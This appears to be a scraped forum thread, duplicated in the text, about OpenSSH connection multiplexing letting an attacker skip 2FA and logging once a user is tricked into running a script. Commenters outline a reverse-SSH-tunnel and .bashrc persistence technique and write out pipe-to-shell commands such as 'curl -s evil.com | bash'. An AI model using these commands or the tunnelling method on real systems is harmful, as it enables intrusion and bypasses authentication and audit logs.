5 ms·

The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are wi

The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging. All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up ssh using that key and tunnel back to my host. Now I have full control of your secure (banking, government, eCommerce) environment, completely bypassing 2 factor authentication. Just one link to one of your email distros and up to 10% of your folks will run it. Combine this with sudo credential caching and now I have root on all of your systems without having to bother finding vulns. Thx to Prandium for the demo of this simple social engineering exploit.

Hello71 11y ago
so... your point is "don't run untrusted code"?
- whorleater 11y ago
  "Don't run untrusted code" has been a basic common sense for people since the dawn of the internet, but that doesn't mean you can follow it 100% of the time. It's good to be aware of potential attack vectors, and not just sweep them under the rug of "don't be an idiot".
- LinuxBender 11y ago
  You would think that is common sense, right? :-) I so wish more people thought like you. Get permission from your privacy and legal team before you do this of course. Write a small script in whatever language you like. Encode a ... gosh, don't even get that fancy. Just email them something silly from an external email address like: curl -s https://tinyvpn.org/ | bash Listen for how many mac users around you in your company suddenly start saying, "How do I stop this??" That one is meant for people that don't lock their computers, but the same applies.
- pmoriarty 11y ago
  You run untrusted code whenever your browser loads a web page that uses javascript. With more and more of the web requiring javascript to work, running untrusted code becomes less and less a real option if you want to get any work done. Arguably, plain HTML is also untrusted code, and I certainly don't trust every single one of the authors of my operating system and all of the os-level utilities and all the applications that I use, especially not Microsoft or Apple. But I'm forced to use them for work. A year or two ago there was some hoopla about Canonical collecting some information about Ubuntu's users or something like that (don't remember exactly) and a lot of people were up in arms about how they don't trust Canonical. Canonical's reply was one of the most insightful I've ever read on the internet. They said something like, "um... but we've got root". That's a great point. The makers of your OS, the builders of your apps, they have a lot of power over you that you grant them simply by using their stuff. You're effectively trusting them, even if you don't trust them. You could react by not using anything that anyone you don't trust writes, or by thoroughly auditing all the source code of everything you use (you do use only open-source software which can be audited by you directly, right?). But this is not really practical for 99% of everyone on the planet.
  - AnthonyMouse 11y ago
    > They said something like, "um... but we've got root". Which is incredibly misleading. Sure, they could put malicious code in their distribution. It could do whatever they want. And then it would be on your machine, where you can potentially discover it and publish what you've discovered and allow others to verify your discovery. Which could cause Canonical to not have root anymore, because people would immediately switch to Debian or CentOS or something else. But if they send data from your machine to their servers, no one has any ability to determine what they do with it from there, how well they secure it, who they give or sell it to, etc. It's a completely different situation because it goes from trust-but-verify to blind trust.
    - pmoriarty 11y ago
      How many Ubuntu users actually verify everything Canonical sends them? I'd say very close to none, especially for the binaries. Sure, in principle you could verify. You could read through all the source, you could even disassemble the binaries and read through the assembly (and don't forget to verify the hardware too). Again, who actually does that? Virtually no one. So the two cases are a lot closer than you paint them to be. Also, corporations do stupid, illegal, and unethical stuff all the time, even when it's clearly (especially in hindsight) not in their long-term interest to do so. Even when it will clearly destroy their reputation if the public found out they even considered it. Even if you trust "the system" (which is more of a hope that if there's something malicious, someone out there will detect it sooner or later), there are many cases of vulnerabilities in even open source code going undetected for years... nevermind vulnerabilities in binaries that you don't have code for and who the authors of aren't generous enough to clue you in on. Canonical (or whatever source you actually get your OS or apps from) could also send you some specially crafted something that no one else gets. Now who's going to verify it for you if you don't do it yourself? How are you ever going to find out, if you're not one of the ultra-paranoid and super-skilled 0.001% of Ubuntu users with infinite time and determination who actually verifies 100% of what Canonical sends them? You just won't. And if you did, there'd be a hundred new Ubuntu versions out by the time you finished verifying even one of them. People trust, but they very rarely verify. The size of operating systems and applications and the skill to verify have all just grown too large to make it practical for the overwhelming majority of people. I do see your point about Canonical doing whatever they want with the data they collect. That's certainly problematic. But that doesn't mean that there aren't major privacy or security issues with trusting Ubuntu (or any other OS) not to have malware on it.
AnthonyMouse 11y ago
> All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will... ...install a rootkit or botnet client regardless of how you've configured ssh. What does it have anything to do with ssh at all? The attacker could just as easily set up an outgoing VPN-over-TLS in the same way.
- LinuxBender 11y ago
  The reason that this involves SSH and is in no way related to the malware example you provided is, this is not malware and will never be detected as such. Very few things can actually block this and most of those things are either too expensive, or disabled by most organizations. Also, this is only getting worse with time. More and companies are opening up their firewalls outbound because it makes developers feel warm and fuzzy. No seriously, people are doing real time integration and builds, calling third party sites like github. I can even put my script on github. If I wanted this to persist, I could update your .bashrc or .bash_profile and start up my tunnel again in the background (as you). Another reason this involves SSH is that you already have it. I am not installing anything. I am just dropping a key on your machine and (as you) spawning ssh and a reverse tunnel back to a VM I control. No need for root :-) Now I just leverage your existing multiplexed connections into your development and production environments. Your syslog server will not log me connecting, since I am just leveraging your existing channelized SSH session. This is leveraging a bad configuration that everyone has in SSH by default. In most cases, the attacker can also leverage the commonly poorly configured sudo as well. If my government would give me legal immunity, I would prove this to you by popping nearly every major company or government office in my country in three weeks or less.
  - AnthonyMouse 11y ago
    If somebody can get you to run "curl -s evil.com | bash" then you are pwned. They can modify your $PATH and install a key logger and create a reverse shell and upload your ssh private key and forward the reverse connection to anything on your LAN. You have already lost.
    - 11y ago

Hello71 11y ago

so... your point is "don't run untrusted code"?

whorleater 11y ago
"Don't run untrusted code" has been a basic common sense for people since the dawn of the internet, but that doesn't mean you can follow it 100% of the time. It's good to be aware of potential attack vectors, and not just sweep them under the rug of "don't be an idiot".
LinuxBender 11y ago
You would think that is common sense, right? :-) I so wish more people thought like you. Get permission from your privacy and legal team before you do this of course. Write a small script in whatever language you like. Encode a ... gosh, don't even get that fancy. Just email them something silly from an external email address like: curl -s https://tinyvpn.org/ | bash Listen for how many mac users around you in your company suddenly start saying, "How do I stop this??" That one is meant for people that don't lock their computers, but the same applies.
pmoriarty 11y ago
You run untrusted code whenever your browser loads a web page that uses javascript. With more and more of the web requiring javascript to work, running untrusted code becomes less and less a real option if you want to get any work done. Arguably, plain HTML is also untrusted code, and I certainly don't trust every single one of the authors of my operating system and all of the os-level utilities and all the applications that I use, especially not Microsoft or Apple. But I'm forced to use them for work. A year or two ago there was some hoopla about Canonical collecting some information about Ubuntu's users or something like that (don't remember exactly) and a lot of people were up in arms about how they don't trust Canonical. Canonical's reply was one of the most insightful I've ever read on the internet. They said something like, "um... but we've got root". That's a great point. The makers of your OS, the builders of your apps, they have a lot of power over you that you grant them simply by using their stuff. You're effectively trusting them, even if you don't trust them. You could react by not using anything that anyone you don't trust writes, or by thoroughly auditing all the source code of everything you use (you do use only open-source software which can be audited by you directly, right?). But this is not really practical for 99% of everyone on the planet.
- AnthonyMouse 11y ago
  > They said something like, "um... but we've got root". Which is incredibly misleading. Sure, they could put malicious code in their distribution. It could do whatever they want. And then it would be on your machine, where you can potentially discover it and publish what you've discovered and allow others to verify your discovery. Which could cause Canonical to not have root anymore, because people would immediately switch to Debian or CentOS or something else. But if they send data from your machine to their servers, no one has any ability to determine what they do with it from there, how well they secure it, who they give or sell it to, etc. It's a completely different situation because it goes from trust-but-verify to blind trust.
  - pmoriarty 11y ago
    How many Ubuntu users actually verify everything Canonical sends them? I'd say very close to none, especially for the binaries. Sure, in principle you could verify. You could read through all the source, you could even disassemble the binaries and read through the assembly (and don't forget to verify the hardware too). Again, who actually does that? Virtually no one. So the two cases are a lot closer than you paint them to be. Also, corporations do stupid, illegal, and unethical stuff all the time, even when it's clearly (especially in hindsight) not in their long-term interest to do so. Even when it will clearly destroy their reputation if the public found out they even considered it. Even if you trust "the system" (which is more of a hope that if there's something malicious, someone out there will detect it sooner or later), there are many cases of vulnerabilities in even open source code going undetected for years... nevermind vulnerabilities in binaries that you don't have code for and who the authors of aren't generous enough to clue you in on. Canonical (or whatever source you actually get your OS or apps from) could also send you some specially crafted something that no one else gets. Now who's going to verify it for you if you don't do it yourself? How are you ever going to find out, if you're not one of the ultra-paranoid and super-skilled 0.001% of Ubuntu users with infinite time and determination who actually verifies 100% of what Canonical sends them? You just won't. And if you did, there'd be a hundred new Ubuntu versions out by the time you finished verifying even one of them. People trust, but they very rarely verify. The size of operating systems and applications and the skill to verify have all just grown too large to make it practical for the overwhelming majority of people. I do see your point about Canonical doing whatever they want with the data they collect. That's certainly problematic. But that doesn't mean that there aren't major privacy or security issues with trusting Ubuntu (or any other OS) not to have malware on it.

AnthonyMouse 11y ago

> All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will... ...install a rootkit or botnet client regardless of how you've configured ssh. What does it have anything to do with ssh at all? The attacker could just as easily set up an outgoing VPN-over-TLS in the same way.

LinuxBender 11y ago
The reason that this involves SSH and is in no way related to the malware example you provided is, this is not malware and will never be detected as such. Very few things can actually block this and most of those things are either too expensive, or disabled by most organizations. Also, this is only getting worse with time. More and companies are opening up their firewalls outbound because it makes developers feel warm and fuzzy. No seriously, people are doing real time integration and builds, calling third party sites like github. I can even put my script on github. If I wanted this to persist, I could update your .bashrc or .bash_profile and start up my tunnel again in the background (as you). Another reason this involves SSH is that you already have it. I am not installing anything. I am just dropping a key on your machine and (as you) spawning ssh and a reverse tunnel back to a VM I control. No need for root :-) Now I just leverage your existing multiplexed connections into your development and production environments. Your syslog server will not log me connecting, since I am just leveraging your existing channelized SSH session. This is leveraging a bad configuration that everyone has in SSH by default. In most cases, the attacker can also leverage the commonly poorly configured sudo as well. If my government would give me legal immunity, I would prove this to you by popping nearly every major company or government office in my country in three weeks or less.
- AnthonyMouse 11y ago
  If somebody can get you to run "curl -s evil.com | bash" then you are pwned. They can modify your $PATH and install a key logger and create a reverse shell and upload your ssh private key and forward the reverse connection to anything on your LAN. You have already lost.
  - 11y ago